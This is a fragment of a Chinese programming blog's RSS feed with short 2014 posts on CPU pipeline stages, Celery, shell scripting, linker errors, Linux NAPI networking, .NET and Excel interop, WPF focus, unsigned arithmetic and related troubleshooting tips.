      <description>处理器体系结构&#xA;ISA 一个处理器支持的指令和指令的字节级编码称为它的指令集体系结构ISA。&#xA;虽然每个厂商制造的处理器性能和复杂性不断提高，但是不同型号在ISA级别上都保持着兼容。因此，ISA在编译器编写者和处理器设计人员之间提供了一个概念抽象层。&#xA;这个概念抽象层即ISA模型：CPU允许的指令集编码，且顺序地执行指令，也就是先取出一条指令，等到她执行完毕，再开始下一条。然而，现代处理器的实际工作方式可能跟ISA隐含的计算模型大相径庭。通过同时处理多条指令的不同部分，处理器可以获得较高的性能。但其必须对外表现出符合ISA模型的执行结果。&#xA;在计算机科学中，用巧妙的方法在提高性能的同时，又保持一个更简单、更抽象模型的功能，这种思想是众所周知的（抽象）。&#xA;CPU硬件简介 大多数现代电路设计都是用信号线上的高电压和低电压来表示不同的位值。&#xA;要实现一个数字系统需要三个主要的组成部分：&#xA;①计算对位进行操作的函数的组合逻辑(ALU)&#xA;②存储位的存储器元素(寄存器)&#xA;③控制存储器元素更新的时钟信号&#xA;逻辑门是数字电路的基本计算元素，它们产生的输出，等于它们输入位值的某个布尔函数。&#xA;将很多逻辑门组合成一个网，就能构建计算块，称为组合电路。(相当于一个表达式)&#xA;算术/逻辑单元(ALU)是一种很重要的组合电路，这个电路有三个输入：两个数据输入及一个控制输入。根据控制输入的设置，电路会对数据输入执行不同的算术或逻辑操作。&#xA;存储器和时钟 组合电路从本质上讲，不存储任何信息。它们只是简单地响应输入信号，产生等于输入的某个函数的输出。为了产生时序电路，也就是有状态并且在这个状态上进行计算的系统，我们必须引入按位存储信息的设备。&#xA;存储设备都是由同一个时钟控制，时钟是一个周期性信号，决定了什么时候要把新值加载到设备中。&#xA;大多数时候，寄存器都保持在稳定状态(用x表示)，产生的输出等于它的当前状态。信号沿着寄存器前面的组合逻辑传播，这时，产生了一个新的寄存器输入(用y表示)，但只要时钟是低电位的，寄存器的输出就仍然保持不变。当时钟变成高电位的时候，输入信号才加载到寄存器中，成为下一个状态y，直至下一个时钟的上升沿。&#xA;寄存器是作为电路不同部分中的组合逻辑之间的屏障。每当每个时钟到达上升沿时，值才会从寄存器的输入传送到输出。&#xA;寄存器文件(通用寄存器组成的逻辑块) 有两个读端口，还有一个写端口。电路可以读两个程序寄存器的值，同时更新第三个寄存器的状态。每个端口都有一个地址输入，表明选择哪个程序寄存器。&#xA;虽然寄存器文件不是组合电路，因为它有内部存储。不过，从寄存器文件读数据就好像它是一个以地址为输入、数据为输出的一个组合逻辑块。&#xA;指令编码 指令集的一个重要性质就是字节编码必须有唯一的解释。任意一个字节序列要么是一个唯一的指令序列的编码，要么就不是一个合法的字节序列。因为每条指令的第一个字节有唯一的代码和功能组合，给定这个字节，我们就可以决定所有其他附加字节的长度和含义。&#xA;每条指令需要1——6个字节不等，这取决于需要哪些字段。每条指令的第一个字节表明指令的类型：高4位是代码部分(例：6为整数类操作指令)，低4位是功能部分(例：1为整数类中的减法指令) 61合起来即为sub指令。&#xA;处理一条指令的序列： 取指(fetch)&#xA;取值阶段从存储器读取指令字节，放到指令存储器(CPU中)中，地址为程序计数器(PC)的值。&#xA;它按顺序的方式计算当前指令的下一条指令的地址(即PC的值加上已取出指令的长度)&#xA;译码(decode)&#xA;ALU从寄存器文件(通用寄存器的集合)读入最多两个操作数。（即一次最多读取两个寄存器中的内容）&#xA;执行(execute)&#xA;在执行阶段会根据指令的类型，将算数/逻辑单元(ALU)用于不同的目的。对其他指令，它会作为一个加法器来计算增加或减少栈指针，或者计算有效地址，或者只是简单地加0，将一个输入传递到输出。&#xA;条件码寄存器(CC)有三个条件位。ALU负责计算条件码新值。当执行一条跳转指令时，会根据条件码和跳转类型来计算分支信号cnd。&#xA;访存(memory)&#xA;访存阶段，数据存储器(CPU中)读出或写入一个存储器字。指令和数据存储器访问的是相同的存储器位置，但是用于不同的目的。&#xA;写回(write back)&#xA;写回阶段最多可以写两个结果到寄存器文件。寄存器文件有两个写端口。端口E用来写ALU计算出来的值，而端口M用来写从数据存储器中读出的值。&#xA;更新PC(PC update)&#xA;根据指令代码和分支标志，从前几步得出的信号值中，选出下一个PC的值。&#xA;我们以SEQ(sequential 顺序的)处理器为例讲解CPU的基本原理。每个时钟周期上，SEQ执行处理一条完整指令所需的所有步骤。不过这需要一个很长的时钟周期时间，因此时钟周期频率会低到不可接受。&#xA;SEQ的时序 组合逻辑不需要任何时序或控制——只要输入变化了，值就通过逻辑门网络传播。&#xA;我们也将读随机访问存储器(寄存器文件、指令存储器和数据存储器)看成和组合逻辑一样的操作。（写随机访问存储器需要等待高电平）&#xA;由于指令存储器只用来读指令，因此我们可以将这个单元看成是组合逻辑。（内存向指令存储器中写指令是CPU外部的事件 不属于CPU内的时序）&#xA;每个时钟周期，程序计数器都会装载新的指令地址。&#xA;只有在执行整数运算指令时，才会装载条件码寄存器。&#xA;只有在执行mov、push、call指令时，才会写数据存储器。&#xA;要控制处理器中活动的时序，只需要寄存器和存储器的时钟控制。&#xA;因为指令运行计算的结果，写入寄存器或存储器中。&#xA;我们可以把取指、译码、执行等过程看做是组合逻辑的处理过程（因为它们不涉及写入寄存器）。把写回看做是另一个过程。&#xA;则整个过程可简化为下图所示：&#xA;【举例详解】&#xA;有如下指令：&#xA;0x000 ： irmovl $0x100, %ebx&#xA;0x006 ： irmovl $0x200, %edx</description>
    </item>
    <item>
      <title>Celery(bind=True) 修饰实例方法和类方法时怎么传参, self问题.</title>
      <link>https://bchobby.github.io/posts/20dfb733c12f712583f6ad0206d0a53e/</link>
      <pubDate>Thu, 27 Mar 2014 10:02:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20dfb733c12f712583f6ad0206d0a53e/</guid>
      <description> 不用filter=task_method时，实例(self)不会自动传入。&#xA;只有bind=True时， task对象会作为第一个参数自动传入。&#xA;加上filter=task_method参数，实例(self)会作为第一个参数自动传入。&#xA;加上filter=task_method, bind=True, task对象会作为第一个，实例(self)会作为第二个参数自动传入。&#xA;所以，最佳调用方式应为:&#xA;from celery.contrib.methods import task_method class A(object): def __init__(self): object.__init__(self) self.a = 1 self.b = 2 @app.task(bind=True, filter=task_method) def test1(task_self, self, a, b): print a print b return a+b+self.a+self.b 或： from celery.contrib.methods import task_method class A(object): def __init__(self): object.__init__(self) self.a = 1 self.b = 2 @app.task(filter=task_method) def test1(self, a, b): print a print b return a+b+self.a+self.b </description>
    </item>
    <item>
      <title>shell脚本接收来自命令行传入的参数：</title>
      <link>https://bchobby.github.io/posts/5d4e5b8b061cff84ea1349fbca9f69eb/</link>
      <pubDate>Wed, 26 Mar 2014 09:51:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d4e5b8b061cff84ea1349fbca9f69eb/</guid>
      <description>第一个参数用$1表示，第二个参数用$2表示，以此类推。。&#xA;写一个简单的传参数脚本来测试：&#xA;#!/bin/bash&#xA;if [ $1 ==&#34;start&#34; ]&#xA;then&#xA;echo&#34;do start&#34;&#xA;elif [ $1 ==&#34;stop&#34; ]&#xA;then&#xA;echo&#34;do stop&#34;&#xA;else&#xA;echo &#34;Pleasemake sure the positon variable is start or stop.&#34;&#xA;fi&#xA;保存为test.sh 执行 ./test.sh start或./test.sh stop&#xA;awk的结果如何写入数组中：&#xA;写了一个简单的功能：&#xA;B=(`awk &#39;/insert overwrite table/ {print $4}&#39; $1`)&#xA;echo ${B[1]}&#xA;echo ${#B[@]} 输出数组元素个数&#xA;如何在变量中定义双引号:&#xA;用单引号 lstr=&#39;tblist=&#34;1111&#34;&#39;&#xA;echo $lstr&#xA;tblist=&#34;1111&#34;&#xA;grep获取行号：&#xA;grep -nw &#34;k=0&#34; automan.sh&#xA;if判断：&#xA;？b当file存在并且是块文件时返回真&#xA;-c 当file存在并且是字符文件时返回真&#xA;-d 当pathname存在并且是一个目录时返回真&#xA;-e 当pathname指定的文件或目录存在时返回真</description>
    </item>
    <item>
      <title>Unknown type &#39;246 in column 3 of 5 in binary-encoded result set</title>
      <link>https://bchobby.github.io/posts/0333541f924321b75f53f7a279def395/</link>
      <pubDate>Tue, 25 Mar 2014 22:39:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0333541f924321b75f53f7a279def395/</guid>
      <description>Unknown type &#39;246 in column 3 of 5 in binary-encoded result set 是不是用sum函数的时候报错了，那你来对地方了&#xA;这个查了一下据说是mysql的bug，只有在3.0.17的包里有，但是你的value是varchar类型的，所以sum出来没问题，但是要sum int类型的就会出这个错&#xA;刚刚把左右int类型的都改成varchar类型的，就没问题了&#xA;转载于:https://www.cnblogs.com/MartinLi841538513/p/3624408.html</description>
    </item>
    <item>
      <title>error LNK2005: &#34;public: void __thiscall std::basic_ofstream&lt;char,struct std::char_traits&lt;char&gt;</title>
      <link>https://bchobby.github.io/posts/48c61d837dd61969b83093fcfdfa1cbc/</link>
      <pubDate>Tue, 25 Mar 2014 14:32:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/48c61d837dd61969b83093fcfdfa1cbc/</guid>
      <description>&amp;gt;osgDBd.lib(osg80-osgDBd.dll) : error LNK2005: &#34;public: void __thiscall std::basic_ofstream&amp;lt;char,struct std::char_traits&amp;lt;char&amp;gt; &amp;gt;::`vbase destructor&#39;(void)&#34; (??_D?$basic_ofstream@DU?$char_traits@D@std@@@std@@QAEXXZ) 已经在 PointChoose.obj 中定义 1&amp;gt;osgDBd.lib(osg80-osgDBd.dll) : error LNK2005: &#34;public: void __thiscall std::basic_ofstream&amp;lt;char,struct std::char_traits&amp;lt;char&amp;gt; &amp;gt;::close(void)&#34; (?close@?$basic_ofstream@DU?$char_traits@D@std@@@std@@QAEXXZ) 已经在 PointChoose.obj 中定义 1&amp;gt;osgDBd.lib(osg80-osgDBd.dll) : error LNK2005: &#34;public: void __thiscall std::basic_ofstream&amp;lt;char,struct std::char_traits&amp;lt;char&amp;gt; &amp;gt;::open(class std::basic_string&amp;lt;char,struct std::char_traits&amp;lt;char&amp;gt;,class std::allocator&amp;lt;char&amp;gt; &amp;gt; const &amp;amp;,int,int)&#34; (?open@?$basic_ofstream@DU?$char_traits@D@std@@@std@@QAEXABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@2@HH@Z) 已经在 PointChoose.obj 中定义 1&amp;gt;osgDBd.lib(osg80-osgDBd.dll) : error LNK2005: &#34;public: __thiscall std::basic_ofstream&amp;lt;char,struct std::char_traits&amp;lt;char&amp;gt; &amp;gt;::basic_ofstream&amp;lt;char,struct std::char_traits&amp;lt;char&amp;gt; &amp;gt;(void)&#34; (??0?$basic_ofstream@DU?$char_traits@D@std@@@std@@QAE@XZ) 已经在 PointChoose.obj 中定义 1&amp;gt;osgDBd.lib(osg80-osgDBd.dll) : error LNK2005: &#34;public: void __thiscall std::basic_ofstream&amp;lt;char,struct std::char_traits&amp;lt;char&amp;gt; &amp;gt;::open(char const *,int,int)&#34;</description>
    </item>
    <item>
      <title>Linux 下网络性能优化方法简析</title>
      <link>https://bchobby.github.io/posts/7058b319c4bd6f796cb5384f424c5155/</link>
      <pubDate>Mon, 24 Mar 2014 10:32:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7058b319c4bd6f796cb5384f424c5155/</guid>
      <description>概述 对于网络的行为，可以简单划分为 3 条路径：1) 发送路径，2) 转发路径，3) 接收路径，而网络性能的优化则可基于这 3 条路径来考虑。由于数据包的转发一般是具备路由功能的设备所关注，在本文中没有叙述，（在 Linux 内核中，分别使用了基于哈希的路由查找和基于动态 Trie 的路由查找算法）。本文集中于发送路径和接收路径上的优化方法分析，其中的 NAPI 本质上是接收路径上的优化，但因为它在 Linux 的内核出现时间较早，而它也是后续出现的各种优化方法的基础，所以将其单独分析。&#xA;最为基本的 NAPI NAPI 的核心在于：在一个繁忙网络，每次有网络数据包到达时，不需要都引发中断，因为高频率的中断可能会影响系统的整体效率，假象一个场景，我们此时使用标准的 100M 网卡，可能实际达到的接收速率为 80MBits/s，而此时数据包平均长度为 1500Bytes，则每秒产生的中断数目为： 80M bits/s / (8 Bits/Byte * 1500 Byte) = 6667 个中断 /s 而如果按照 64Bytes 的小包计算则更多。每秒 6667 个中断，对于系统是个很大的压力，此时其实可以转为使用轮询 (polling) 来处理，而不是中断；但轮询在网络流量较小的时没有效率，因此低流量时，基于中断的方式则比较合适，这就是 NAPI 出现的原因，在低流量时候使用中断接收数据包，而在高流量时候则使用基于轮询的方式接收。 现在内核中 NIC 基本上已经全部支持 NAPI 功能，由前面的叙述可知，NAPI 适合处理高速率数据包的处理，而带来的好处则是： 1. 中断缓和 (Interrupt mitigation)，由上面的例子可以看到，在高流量下，网卡产生的中断可能达到每秒几千次，而如果每次中断都需要系统来处理，是一个很大的压力，而 NAPI 使用轮询时是禁止了网卡的接收中断的，这样会减小系统处理中断的压力 2. 数据包节流 (Packet throttling)，NAPI 之前的 Linux NIC 驱动总在接收到数据包之后产生一个 IRQ，接着在中断服务例程里将这个 skb 加入本地的 softnet，然后触发本地 NET_RX_SOFTIRQ 软中断后续处理。如果包速过高，因为 IRQ 的优先级高于 SoftIRQ，导致系统的大部分资源都在响应中断，但 softnet 的队列大小有限，接收到的超额数据包也只能丢掉，所以这时这个模型是在用宝贵的系统资源做无用功。而 NAPI 则在这样的情况下，直接把包丢掉，不会继续将需要丢掉的数据包扔给内核去处理，这样，网卡将需要丢掉的数据包尽可能的早丢弃掉，内核将不可见需要丢掉的数据包，这样也减少了内核的压力 对 NAPI 的使用，一般包括以下的几个步骤： 1.</description>
    </item>
    <item>
      <title>【转】.NET引用Excel操作时无法关闭Excel.exe进程的解决方法</title>
      <link>https://bchobby.github.io/posts/aa8206f4e34f14e1638a8e9d18749aa7/</link>
      <pubDate>Sun, 23 Mar 2014 21:01:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa8206f4e34f14e1638a8e9d18749aa7/</guid>
      <description>﻿﻿&#xA;http://blog.csdn.net/hsyj_0001/article/details/7686364&#xA;在使用Office类库Microsoft.Office.Interop.Excel导入导出Excel文件操作后，即使调用Application的Quit()函数还是无法关闭Excel进程，在资源管理器中还是存在。&#xA;查询一些网上资料该问题终于解决了。具体步骤如下：&#xA;1.创建Excel的Application对象&#xA;2.获取Application的Workbooks对象集合&#xA;3.添加一个工作薄Workbook对象&#xA;4.获取该工作薄中的一个Worksheet对象&#xA;5.对该Worksheet对象中的Range对象进行操作。&#xA;6.调用Workbook对象的Save或SaveAs函数，保存工作簿&#xA;7.调用Workbook对象的Close函数，关闭该工作簿&#xA;8.调用Application对象的Quit函数，关闭整个Excel程序。&#xA;一般到这一步大家都以为处理结束，Excel进程会结束，但实际运行时，即使关闭整个应用程序Excel进程也不会关闭。在网上会见到一些解决方法枚举系统中所有的Excel进程，然后将其逐个杀死，但是这样可能会误杀一些用户开启的Excel进程。&#xA;其实，没有退出Excel进程的原因只是由于一些资源没有释放，所以必须要手动释放这些资源，并且要显式调用垃圾回收GC进行垃圾回收。只需要在以上第8步之后，增加一下操作。&#xA;9.调用System.Runtime.InteropServices.Marshal.ReleaseComObject依次释放Range、Worksheet、Workbook、Workbooks和Application对象。&#xA;10.调用GC的垃圾回收方法。&#xA;以上操作的代码如下：&#xA;private void button1_Click(object sender, EventArgs e) { String str = @&#34;测试数据&#34;; // 1.启动Excel进程 Microsoft.Office.Interop.Excel.Application excelApp = new Microsoft.Office.Interop.Excel.Application(); excelApp.Visible = false; // 2.获取Workbooks对象 Workbooks wbs = excelApp.Workbooks; // 3.添加工作薄Workbook对象 Workbook wb = wbs.Add(); // 4.获取第一个工作表Workbook Worksheet ws = (Worksheet)wb.Worksheets.Item[1]; // 5.获取单元格并设置文本 Range rng = (Range)ws.Cells[1, 1]; rng.Value = str; rng = (Range)ws.Cells[2, 1]; rng.</description>
    </item>
    <item>
      <title>基于mina的websocket初步实现</title>
      <link>https://bchobby.github.io/posts/95f73fdf16ba149fc6c5682cb47c5fc8/</link>
      <pubDate>Sat, 22 Mar 2014 12:06:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/95f73fdf16ba149fc6c5682cb47c5fc8/</guid>
      <description>本博关闭 全部文章转到&#xA;http://blog.codeconch.com/</description>
    </item>
    <item>
      <title>.NET 页面间传值的几种方法</title>
      <link>https://bchobby.github.io/posts/c157b9fe788834d37195037361b59590/</link>
      <pubDate>Thu, 20 Mar 2014 11:41:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c157b9fe788834d37195037361b59590/</guid>
      <description>1. QueryString&#xA;这是最简单的传值方式，但缺点是传的值会显示在浏览器的地址栏中且不能传递对象，只适用于传递简单的且安全性要求不高的数值。&#xA;传递：　location.href=&#34;WebForm2.aspx?name=&#34; + yourName ;&#xA;接收：　string name = Request.QueryString[&#34;name&#34;];&#xA;2. Form&#xA;传递：　根据表单内控件的name和value传递，如：&#xA;&amp;lt;form id=&#34;form1&#34; method=&#34;post&#34;&amp;gt;&#xA;&amp;lt;input type=&#34;text&#34; name=&#34;name&#34; value=&#34;xxx&#34; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;表单需要被提交&amp;lt;input type=&#34;submit&#34; /&amp;gt; 或者 document.getElementById(&#34;form1&#34;).submit();&#xA;接收：　string name = Request.Form[&#34;name&#34;];&#xA;3. Session&#xA;需要注意的是在Session变量存储过多的数据会消耗比较多的服务器资源，在使用session时应该使用一些清理动作来去除一些不需要的session。&#xA;移除：　Session.Remove(&#34;name&#34;);&#xA;传递：　Session[&#34;name&#34;] = yourName;&#xA;接收：　string name=Session[&#34;name&#34;].ToString();&#xA;4. Cookie&#xA;传递：　HttpCookie cookie_name = new HttpCookie(&#34;name&#34;);&#xA;cookie_name.Value = yourName;&#xA;Response.AppendCookie(cookie_name);&#xA;接收：　Request.Cookies[&#34;name&#34;].Value;&#xA;5. Application&#xA;Application对象的作用范围是整个全局，也就是说对所有用户都有效。其常用的方法用Lock和UnLock。&#xA;传递：　Application[&#34;name&#34;] = name;</description>
    </item>
    <item>
      <title>“Internet连接共享访问被启用时,出现了一个错误” 解决方法 .</title>
      <link>https://bchobby.github.io/posts/324e28e2baf5882129c6b5133488ba29/</link>
      <pubDate>Fri, 14 Mar 2014 12:52:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/324e28e2baf5882129c6b5133488ba29/</guid>
      <description>ctrl+r&#xA;运行 services.msc&#xA;找到 Windows Firewall 启动。就行了&#xA;在运行窗口输入&#34;regedit&#34;打开注册表，转到“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasMan\”表项下 ，然后左键点中“ DependOnService ”，在右边窗口里显示的项目中找到“ DependOnService ” ，双击会弹出一个 “编辑多字符串”窗口，删除此窗口里数值数据中的“ SstpSvc ”，再点击“确定”。 关闭注册表后重启电脑。&#xA;如果还不成功，到C:\Windows\system32\路径下找到：logfile 和 wbem 这两个文件夹， 取得管理员权限。</description>
    </item>
    <item>
      <title>VS2010下编译oRTP-0.22.0</title>
      <link>https://bchobby.github.io/posts/6439f6c63879305e6adef3df980d3655/</link>
      <pubDate>Thu, 13 Mar 2014 10:34:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6439f6c63879305e6adef3df980d3655/</guid>
      <description>1. 从http://download.savannah.gnu.org/releases/linphone/ortp/sources/下载ortp-0.22.0.tar.gz&#xA;2. 解压ortp-0.22.0.tar.gz&#xA;3. 在VS2010中新建解决方案oRTP&#xA;4. 从目录ortp-0.22.0\build\vsx\oRTP\oRTP导入工程oRTP.vcxproj&#xA;5. 打开工程oRTP的属性，选&#34;配置属性&#34;-&amp;gt;&#34;常规&#34;-&amp;gt;&#34;平台工具集&#34;，把&#34;v110&#34;改为&#34;v100&#34;&#xA;6. 点击&#34;生成oRTP&#34;&#xA;最终生成oRTP.dll和oRTP_dll.lib。</description>
    </item>
    <item>
      <title>Ssh连接linux 提示总线错误</title>
      <link>https://bchobby.github.io/posts/9373108dfa47d81613367517948b7293/</link>
      <pubDate>Mon, 10 Mar 2014 11:41:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9373108dfa47d81613367517948b7293/</guid>
      <description>通过网上搜索，最终发现，原来硬盘已经不能写入，只能读取。&#xA;重启机器。呵呵</description>
    </item>
    <item>
      <title>GUID和UUID、CLSID、IID 区别及联系</title>
      <link>https://bchobby.github.io/posts/5ccbb5d03cc7ca60c1541a270c3e0fdf/</link>
      <pubDate>Sun, 09 Mar 2014 11:04:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ccbb5d03cc7ca60c1541a270c3e0fdf/</guid>
      <description>原文摘抄自：GUID和UUID、CLSID、IID 区别及联系&#xA;当初微软设计com规范的时候，有两种选择来保证用户的设计的com组件可以全球唯一：&#xA;第一种是采用和Internet地址一样的管理方式，成立一个管理机构，用户如果想开发一个COM组件的时候需要向该机构提出申请，并交一定的费用。&#xA;第二种是发明一种算法，每次都能产生一个全球唯一的COM组件标识符。&#xA;第一种方法，用户使用起来太不方便，微软采用第二种方 法，并发明了一种算法，这种算法用GUID（Globally Unique Identifiers）来标识COM组件，GUID是一个128位长的数字，一般用16进制表示。算法的核心思想是结合机器的网卡、当地时间、一个随即 数来生成GUID。从理论上讲，如果一台机器每秒产生10000000个GUID，则可以保证（概率意义上）3240年不重复。&#xA;GUID的例子： 54BF6567--1007--11D1--B0AA--444553540000&#xA;HKEY_CLASSES_ROOT/CLSID/{002B9E07-2E10-438F-AF1E-40E6A96F1EE4}&#xA;在微软的COM中GUID和UUID、CLSID、IID是一回事，只不过各自代表的意义不同：&#xA;UUID ： 代表COM CLSID ：代表COM组件中的类 IID ：代表COM组件中的接口&#xA;在程序中，实际对象数据对应的处理程序路径string往往不尽相同，比如有的放C盘有的D盘，微软想出了一个解决方案，那就是不使用直接的路径表示方法，而使用一个叫 CLSID的方式间接描述这些对象数据的处理程序路径。&#xA;CLSID 其实就是一个号码，CLSID 的结构定义如下：&#xA;typedef struct _GUID {&#xA;DWORD Data1; // 随机数&#xA;WORD Data2; // 和时间相关 WORD Data3; // 和时间相关 BYTE Data4[8]; // 和网卡MAC相关 } GUID; typedef GUID CLSID; //组件ID&#xA;typedef GUID IID; // 接口ID&#xA;#define REFCLSID const CLSID &amp;amp; // 常见的声明和赋值方法&#xA;CLSID CLSID_Excel = {0x00024500,0x0000,0x0000,{0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46}};&#xA;struct __declspec(uuid(&#34;</description>
    </item>
    <item>
      <title>解决PLSQL Developer导出CSV文件数据显示乱码和科学计数法问题</title>
      <link>https://bchobby.github.io/posts/6a9c95f595d6e4518e89d172ffb80d2f/</link>
      <pubDate>Wed, 05 Mar 2014 17:22:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a9c95f595d6e4518e89d172ffb80d2f/</guid>
      <description>使用PLSQL Developer导出CSV文件格式数据后，用EXCEL打开文件显示是乱码或者长数字串变成了科学计数法。&#xA;这并不是导出的CSV文件数据有问题， 如果使用记事本或其他编辑器如EDITPLUS打开文件，会发现数据是正常的。&#xA;一、解决显示乱码问题&#xA;用EXCEL打开文件显示乱码是因为导出的数据文件的编码格式是UTF-8，而EXCEL默认打开文件的编码格式是UNICODE，编码格式不一致。&#xA;解决方法：&#xA;1、用记事本或其他编辑器如EDITPLUS打开文件，然后另存为，填写文件名，编码格式选择UNICODE。&#xA;2、用EXCEL打开新的文件，即可正常显示。&#xA;二、解决科学计数法问题&#xA;1、新建EXCEL文件。&#xA;2、点击EXCEL菜单中的“数据”-&amp;gt;“导入外部数据”-&amp;gt;“导入数据”（EXCEL2007点击“数据”-&amp;gt;“自文本”），然后选中导出的CSV文件，选择分割符号，下一步，选择逗号，下一步，相应的列选择相应的数据格式（长数字串就选择为文本格式），完成。&#xA;3、数据导入完成后，就可以正常显示了。&#xA;注意：使用解决科学计数法问题的方法同样可以解决显示乱码问题。</description>
    </item>
    <item>
      <title>java中File类的使用方法</title>
      <link>https://bchobby.github.io/posts/8befbecd96d06c05f26012a44b754996/</link>
      <pubDate>Wed, 05 Mar 2014 13:18:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8befbecd96d06c05f26012a44b754996/</guid>
      <description>构造函数&#xA;复制代码代码如下: public class FileDemo { public static void main(String[] args){ //构造函数File(String pathname) File f1 =new File(&#34;c:\\abc\\1.txt&#34;); //File(String parent,String child) File f2 =new File(&#34;c:\\abc&#34;,&#34;2.txt&#34;); //File(File parent,String child) File f3 =new File(&#34;c:&#34;+File.separator+&#34;abc&#34;);//separator 跨平台分隔符 File f4 =new File(f3,&#34;3.txt&#34;); System.out.println(f1);//c:\abc\1.txt } } 创建方法 1.boolean createNewFile() 不存在返回true 存在返回false&#xA;2.boolean mkdir() 创建目录&#xA;3.boolean mkdirs() 创建多级目录&#xA;删除方法&#xA;1.boolean delete()&#xA;2.boolean deleteOnExit() 文件使用完成后删除&#xA;复制代码代码如下: import java.io.File; import java.io.IOException; public class FileDemo2 {&#xA;public static void main(String[] args){</description>
    </item>
    <item>
      <title>WPF之无法触发KeyDown或者KeyUp键盘事件</title>
      <link>https://bchobby.github.io/posts/5d024a3fc8a572ca7506fb301c462767/</link>
      <pubDate>Wed, 05 Mar 2014 09:18:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d024a3fc8a572ca7506fb301c462767/</guid>
      <description>有时候我们可能在Panel(StackPanel、Canvas、Grid)上或者是在一些默认不支持Focus的控件上添加了KeyDown或者KeyUp，可是残酷的现实告诉我们，这是无法触发的，怎么办呢，很简单，只需一句代码。&#xA;private void MouseLeftButtonDown(object sender, MouseButtonEventArgs e) { Grid1.Focus(); } 也就是在鼠标单击事件中，让容器(或者其他控件)调用Focus方法，使其尝试获得焦点。小伙伴们是不是尝试过后发现还是不行，哈哈哈，那是因为还少了一个步骤，在XAML代码中给容器(控件)设置一个属性即可。&#xA;&amp;lt;Canvas x:Name=&#34;Grid1&#34; Focusable=&#34;True&#34; /&amp;gt; 哈哈，聪明的骚年是不是踩到了，这样就是让控件支持获得焦点。&#xA;好了，本文较短，到此结束。&#xA;转载于:https://www.cnblogs.com/ListenFly/p/3581735.html</description>
    </item>
    <item>
      <title>unsigned无符号数减法问题</title>
      <link>https://bchobby.github.io/posts/4e5ff1d80c5c2a6c433d8a3c14ab8ab6/</link>
      <pubDate>Tue, 04 Mar 2014 16:32:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e5ff1d80c5c2a6c433d8a3c14ab8ab6/</guid>
      <description>今天一个QQ群里有人扔出一段代码：&#xA;#include &amp;lt;stdio.h&amp;gt; float sum_elem(float a[],unsigned length){ int i; float result = 0; for(i=0;i&amp;lt;=length-1;i++){ //printf(&#34;test\n&#34;); result+=a[i]; } return result; } int main(){ float a[1]={0.0}; printf(&#34;%f&#34;,sum_elem(a,0)); return 0; } 看代码的时候，也觉着应该输出a[0]，但是编译通过，运行时发生段错误：Segmentation fault (core dumped)&#xA;仔细观察觉着问题应该出现在unsigned length身上，将其修改为int类型，就可以输出期望的a[0]了。&#xA;然后去检索了下无符号数的减法问题&#xA;参考以下链接：&#xA;http://blog.chinaunix.net/uid-23629988-id-2984353.html&#xA;http://bbs.csdn.net/topics/300036795&#xA;得出结论：无符号数相减的结果仍然是无符号数！&#xA;其过程是：先将无符号数转换成有符号数相减，结果再转为无符号数。&#xA;所以上面的代码中传递给unsigned length的值为0，减1后，得到一个很大的无符号数。&#xA;在for循环中添加一个打印语句，发现打印语句被执行多次后才出现段错误，也说明了上面的结论。</description>
    </item>
    <item>
      <title>ASP&#43;ACCESS 怎么无法增删改记录</title>
      <link>https://bchobby.github.io/posts/3887b62afee5a322ec74dc1fbbe45577/</link>
      <pubDate>Sat, 01 Mar 2014 23:04:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3887b62afee5a322ec74dc1fbbe45577/</guid>
      <description> 对，如果排除语句有误的情况，就是ACCESS是否有写权限，请检查一下。 对着access数据库文件右击-&amp;gt;属性-&amp;gt;安全-&amp;gt;对users的权限全选打勾 这样即可解决这个问题了. </description>
    </item>
    <item>
      <title>uint8_t数据类型</title>
      <link>https://bchobby.github.io/posts/839c663578afbb735a8adce63fe23157/</link>
      <pubDate>Fri, 28 Feb 2014 11:38:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/839c663578afbb735a8adce63fe23157/</guid>
      <description>在看一些开源c程序时，经常会看到很多不认识的数据类型，比如uint8_t等。咋一看，好像是个新的数据类型，不过C语言里面好像没有这种数据类型啊！怎么又是u又是_t的？很多人有这样的疑问。论坛上就有人问：以*_t结尾的类型是不是都是long型的？在baidu上查一下，才找到答案，这时才发觉原来自己对C掌握的太少。 那么_t的意思到底表示什么？具体的官方答案没有找到，不过我觉得有个答案比较接近。它就是一个结构的标注，可以理解为type/typedef的缩写，表示它是通过typedef定义的，而不是其它数据类型。 uint8_t，uint16_t，uint32_t等都不是什么新的数据类型，它们只是使用typedef给类型起的别名，新瓶装老酒的把戏。不过，不要小看了typedef，它对于你代码的维护会有很好的作用。比如C中没有bool，于是在一个软件中，一些程序员使用int，一些程序员使用short，会比较混乱，最好就是用一个typedef来定义，如： typedef char bool; 一般来说，一个C的工程中一定要做一些这方面的工作，因为你会涉及到跨平台，不同的平台会有不同的字长，所以利用预编译和typedef可以让你最有效的维护你的代码。为了用户的方便，C99标准的C语言硬件为我们定义了这些类型，我们放心使用就可以了。 按照posix标准，一般整形对应的*_t类型为： 1字节 uint8_t 2字节 uint16_t 4字节 uint32_t 8字节 uint64_t 附：C99标准中inttypes.h的内容 00001 /* 00002 inttypes.h 00003 00004 Contributors: 00005 Created by Marek Michalkiewicz &amp;lt;marekm@linux.org.pl&amp;gt; 00006 00007 THIS SOFTWARE IS NOT COPYRIGHTED 00008 00009 This source code is offered for use in the public domain. You may 00010 use, modify or distribute it freely. 00011 00012 